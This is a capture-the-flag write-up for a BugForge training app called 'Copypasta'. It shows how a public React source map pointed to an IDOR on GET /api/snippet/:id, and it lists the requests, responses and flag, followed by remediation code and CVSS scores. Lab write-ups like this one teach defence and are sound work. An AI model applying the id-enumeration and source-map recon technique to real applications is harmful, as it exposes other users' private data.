BugForge — 2026.04.15

Copypasta: IDOR via Source Map Disclosure

BugForge IDOR easy

Overview

  • Platform: BugForge
  • Vulnerability: Insecure Direct Object Reference (IDOR) on a secondary read endpoint, discovered via public source map disclosure
  • Key Technique: Review unminified React source in browser DevTools (public source map), read developer comments labeling the vulnerable endpoint, then issue a single GET for a private snippet
  • Result: Read a private snippet owned by another user, captured the flag in the response body. Total tests required: 1.

Objective

Find and exploit a vulnerability in the BugForge “Copypasta” snippet-sharing application to capture the flag. This is a new iteration of the same base application — each engagement plants a different bug while keeping the endpoint layout, seeded users, and tech stack consistent. Prior iterations:

Date Planted bug
2026-03-18 IDOR on DELETE /api/snippets/:id
2026-03-24 IDOR on PUT /api/profile/password (user_id in body)
2026-04-08 UNION SQLi on GET /api/snippets/share/:share_code
2026-04-15 IDOR on GET /api/snippet/:id (this writeup)

Initial Access

# Target Application
URL: https://lab-1776292383779-urdj6f.labs-app.bugforge.io

# Auth details
POST /api/register with {username, email, password, full_name}
Returns JWT Bearer token (HS256, payload: {id, username, iat}, no exp)
Registered as: haxor (id:5, role: user)

Key Findings

  1. IDOR on GET /api/snippet/:id (CWE-639: Authorization Bypass Through User-Controlled Key) — A singular-id read endpoint exists in this iteration alongside the existing plural /api/snippets/:id/* family. The new code path does not apply the is_public = 1 OR user_id = JWT.id filter that other read paths enforce. Any authenticated user can read any snippet by numeric id, including private snippets owned by other users.

  2. Source Map Publicly Served (CWE-540: Inclusion of Sensitive Information in Source Code)main.4fd1cd46.js.map is served unauthenticated at /static/js/. With sourcesContent embedded, DevTools auto-loads the .map and restores the original React source — including developer comments that minification had stripped from the shipped bundle. A preserved comment explicitly labeling the vulnerable endpoint collapsed discovery to a single read.

  3. Private Snippet Disclosure via GET /api/profile/:username (CWE-201: Insertion of Sensitive Information Into Sent Data) — The profile endpoint returns a user’s full snippet collection without filtering by is_public, inserting private snippets into a response that is accessible to any authenticated user. This is the same leak class as the 2026-04-08 engagement and was not the designed bug this iteration, but it is still a real issue and it assisted recon by confirming which snippet id was private.


Attack Chain Visualization

┌──────────────┐   ┌──────────────────┐   ┌──────────────────┐   ┌──────────────────┐
│   Register   │──▶│  Open DevTools   │──▶│  Read            │──▶│  GET /api/       │
│  (haxor)     │   │  Sources tab —   │   │  SnippetViewer   │   │  snippet/4       │
│  Get JWT     │   │  source map      │   │  .js:67 — dev    │   │  → 200 OK        │
│              │   │  served public,  │   │  comment labels  │   │  flag in body    │
│              │   │  original source │   │  endpoint        │   │  (1 test total)  │
│              │   │  browsable       │   │                  │   │                  │
└──────────────┘   └──────────────────┘   └──────────────────┘   └──────────────────┘

Application Architecture

Component Detail
Backend Express (Node.js) — X-Powered-By: Express
Frontend React + MUI — main.4fd1cd46.js (516 KB) with public source map
Auth JWT HS256 — payload {id, username, iat}, no expiry
Database SQLite (consistent with prior iterations)
CORS Access-Control-Allow-Origin: *

API Surface

Endpoint Method Auth Notes
/api/register POST No Returns JWT + user object
/api/login POST No
/api/verify-token GET Yes Returns user object with server-side role
/api/profile/:username GET Yes Leaks private snippets in response
/api/profile PUT Yes
/api/profile/password PUT Yes UI sends only {password} — 03-24 IDOR shape closed from UI
/api/profile DELETE Yes New in this iteration — not tested (destructive)
/api/snippets GET Yes Own snippets only
/api/snippets/public GET Yes All public snippets
/api/snippets/:id PUT/DELETE Yes Ownership check enforced
/api/snippets/:id/comments GET/POST Yes
/api/snippets/:id/like POST Yes
/api/snippets/share/:share_code GET Yes Prior 04-08 SQLi lived here — not re-tested
/api/snippet/:id GET Yes New in this iteration — vulnerable (IDOR)

Known Users (consistent across all Copypasta iterations)

Username ID Role
admin 1 admin
coder123 2 user
pythonista 3 user
webdev 4 user
haxor 5 user (us)

Exploitation Path

Step 1: Register and Authenticate

POST /api/register HTTP/1.1
Content-Type: application/json

{
  "username": "haxor",
  "email": "[email protected]",
  "password": "password123",
  "full_name": "test"
}

Response returns a JWT with payload {"id":5,"username":"haxor","iat":1776292401}. Role lives server-side only.

Step 2: Recon — Map the Frontend and API

Walked the app in Caido, captured full request history, and pulled the API surface from the bundled React JS. One endpoint stood out as new versus prior iterations:

  • GET /api/snippet/:id (singular — note: distinct from the plural /api/snippets/:id family)

The singular-id read endpoint was the highest-signal target on its own: a “secondary” read path added alongside an existing one is a classic place for authorization filters to be forgotten.

Step 3: Read the Source — The Smoking Gun

The React bundle’s source map is served publicly, which means the browser automatically loads it and DevTools’ Sources tab shows the original (unminified) React source as if it were local files. Opened DevTools → Sources → webpack:// and browsed to components/SnippetViewer.js. Lines 67–72:

} else if (id) {
  // Use the vulnerable endpoint for direct ID access
  response = await axios.get(`/api/snippet/${id}`);
  setSnippet(response.data);
  ...
}

The developer comment on line 68 explicitly labels GET /api/snippet/:id as “the vulnerable endpoint for direct ID access” — confirming the singular-id read path is the intended bug for this iteration.

Step 4: Find a Private Snippet

Listed public snippets to build a map of seeded data:

GET /api/snippets/public HTTP/1.1
Authorization: Bearer <jwt>

The response returned snippets 1, 2, 3, 5, 6, 7 — but no snippet 4. The gap in the id sequence implies snippet 4 exists but is private.

Pythonista (user_id 3) owns snippet 3, so pythonista was a reasonable guess for the owner of the missing snippet 4. Confirmed via the profile endpoint (which leaks private snippets as an incidental bug):

GET /api/profile/pythonista HTTP/1.1
Authorization: Bearer <jwt>

Response included snippet 4 with is_public:0, title "Password Generator". Not the flag, but confirmed the target id.

Step 5: The Exploit — One Request

GET /api/snippet/4 HTTP/1.1
Host: lab-1776292383779-urdj6f.labs-app.bugforge.io
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6NSwidXNlcm5hbWUiOiJoYXhvciIsImlhdCI6MTc3NjI5MjQwMX0.SX8-Kvb0RE6mynJgC7V18_WUXfjJIIQjQ1KHlf5RvAQ

Response (660 bytes, 200 OK):

{
  "id": 4,
  "user_id": 3,
  "title": "Password Generator",
  "code": "import random\nimport string\n\ndef generate_password(length=12):\n    chars = string.ascii_letters + string.digits + \"!@#$%^&*\"\n    return \"\".join(random.choice(chars) for _ in range(length))\n\nprint(generate_password())",
  "language": "python",
  "description": "Generate secure random passwords",
  "is_public": 0,
  "share_code": "204876e0-9cc9-4289-9ed2-a6c9c4e40a35",
  "created_at": "2026-04-15 22:33:05",
  "updated_at": "2026-04-15 22:33:05",
  "username": "pythonista",
  "like_count": 0,
  "comment_count": 0,
  "user_liked": 0,
  "message": "bug{Fxb2CS5cgMrAvHU8Rl74YrPOHoAOnuXE}",
  "flag": "bug{Fxb2CS5cgMrAvHU8Rl74YrPOHoAOnuXE}"
}

Our user (id 5) read a private snippet owned by pythonista (id 3).


Flag / Objective Achieved

Vector Flag
GET /api/snippet/4 with a low-privilege JWT bug{Fxb2CS5cgMrAvHU8Rl74YrPOHoAOnuXE}

Total exploit tests: 1. Recon and source-map review accounted for all of the preceding work.


Key Learnings

  • Ship source maps and you ship your code review. The public source map let DevTools display the unminified React source as if it were local files, including a dev comment that explicitly labeled the vulnerable endpoint. Reading that comment collapsed the exploit phase to a single request. Source maps are valuable for debugging production bugs but must not be served to the public internet.

  • Gaps in numeric ids are recon gold. The public list returned ids 1, 2, 3, 5, 6, 7 — the missing 4 was the private target. No brute force needed.


Failed Approaches

Approach Result Why It Failed
None — the designed bug was captured on the first exploit request N/A Source-map review pointed directly at the vulnerable endpoint

No dead-end payloads this run. Several prior-iteration vectors (mass assignment on PUT /api/profile, IDOR regressions on password change, share-endpoint SQLi, JWT algorithm bypass, DELETE /api/profile authz) were cataloged as candidates and left unvalidated once the primary objective was met.


Tools Used

Tool Purpose
Caido HTTP proxy — full request history, request replay for the exploit
Browser DevTools Review the original React source via the Sources tab (public source map made it browsable)

Remediation

1. IDOR on GET /api/snippet/:id (CVSS: 6.5 — Medium)

Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

Issue: The singular read endpoint GET /api/snippet/:id fetches a snippet by numeric id without enforcing either an is_public check or an ownership check. An authenticated user of any privilege level can read any snippet in the database, including private snippets owned by other users.

CWE Reference: CWE-639 — Authorization Bypass Through User-Controlled Key

Fix:

// BEFORE (Vulnerable) — components/SnippetViewer.js backend handler
router.get('/snippet/:id', authMiddleware, async (req, res) => {
  const snippet = await db.get(
    'SELECT * FROM snippets WHERE id = ?',
    [req.params.id]
  );
  if (!snippet) return res.status(404).json({ error: 'Not found' });
  return res.json(snippet);
});

// AFTER (Secure)
router.get('/snippet/:id', authMiddleware, async (req, res) => {
  const snippet = await db.get(
    `SELECT * FROM snippets
     WHERE id = ?
       AND (is_public = 1 OR user_id = ?)`,
    [req.params.id, req.user.id]
  );
  if (!snippet) return res.status(404).json({ error: 'Not found' });
  return res.json(snippet);
});

Additional recommendations:

  • Collapse the two read endpoints. There is no reason to have both /api/snippet/:id and /api/snippets/:id as separate code paths. Pick one, delete the other, and route the frontend through it. Parallel endpoints multiply the surface where a filter can be forgotten.
  • Enforce authorization in a shared middleware rather than hand-rolling is_public/user_id filters in every handler. A helper like loadSnippetForUser(id, userId) applied uniformly reduces the chance of drift.
  • Add integration tests that prove the filter. For each read endpoint, register two users, seed a private snippet for user A, and assert that user B gets a 404. Run these tests in CI so a regression this exact class can’t ship again.

2. Source Map Publicly Served (CVSS: 5.3 — Medium)

Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

Issue: The production build generates a source map (main.4fd1cd46.js.map) and serves it unauthenticated at /static/js/. The .map is not required at runtime — the browser only loads it when DevTools is open — and with sourcesContent embedded (the Create React App and webpack devtool: 'source-map' default) it contains the full text of every original source file. Exposing it undoes the protections minification provides: comments, original file structure, function and variable names, JSX, and any hard-coded constants, internal API shapes, or TODO/FIXME/HACK notes left in the source become browsable by anyone with a browser. Defense-in-depth assumptions that rely on “the shipped JS is minified” do not hold when the source map ships alongside it.

CWE Reference: CWE-540 — Inclusion of Sensitive Information in Source Code

Fix:

// Create React App — .env.production
GENERATE_SOURCEMAP=false

// Or for webpack directly:
module.exports = {
  // ...
  devtool: process.env.NODE_ENV === 'production' ? false : 'source-map',
};

Additional recommendations:

  • Never check “vulnerable” or “exploit” comments into the source tree. Even if source maps weren’t served, static analysis, GitHub search, or a leaked repo would expose them. If a piece of code is deliberately insecure for a training environment, keep that information outside of version control.
  • If source maps are needed for production debugging, serve them behind authentication (e.g., upload to Sentry, restrict to internal IPs, or require a staff cookie) rather than to the public internet.
  • Rotate the bundle hash and audit the build/ output before each deploy to ensure no .map files are present.

3. Private Snippet Disclosure on GET /api/profile/:username (CVSS: 5.3 — Medium)

Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N

Issue: The profile endpoint returns the user’s full snippet collection regardless of the is_public flag, exposing private snippets to any authenticated user.

CWE Reference: CWE-201 — Insertion of Sensitive Information Into Sent Data

Fix:

// BEFORE (Vulnerable)
const snippets = await db.all(
  'SELECT * FROM snippets WHERE user_id = ?',
  [user.id]
);

// AFTER (Secure)
const snippets = await db.all(
  `SELECT * FROM snippets
   WHERE user_id = ?
     AND (is_public = 1 OR user_id = ?)`,
  [user.id, req.user.id]
);

This is the same class of bug as the 2026-04-08 engagement — worth a codebase-wide audit of every snippet query to ensure the filter is applied consistently.


OWASP Top 10 Coverage

  • A01:2021 — Broken Access Control: The core finding. A second read endpoint was added without the authorization filter that the primary read path enforces, allowing cross-user access to private data.
  • A04:2021 — Insecure Design: Two parallel read endpoints for the same resource, plus hand-rolled authorization in each handler, is a design that invites drift. Authorization belongs in a shared layer, not duplicated at every call site.
  • A05:2021 — Security Misconfiguration: Production source maps served unauthenticated is a deployment misconfiguration. It exposes code, comments, and internal structure to anyone with a browser.

References


Tags: #idor #broken-access-control #source-map-disclosure #information-disclosure #bugforge #webapp Document Version: 1.0 Last Updated: 2026-04-15

#idor #broken-access-control #source-map-disclosure #information-disclosure #bugforge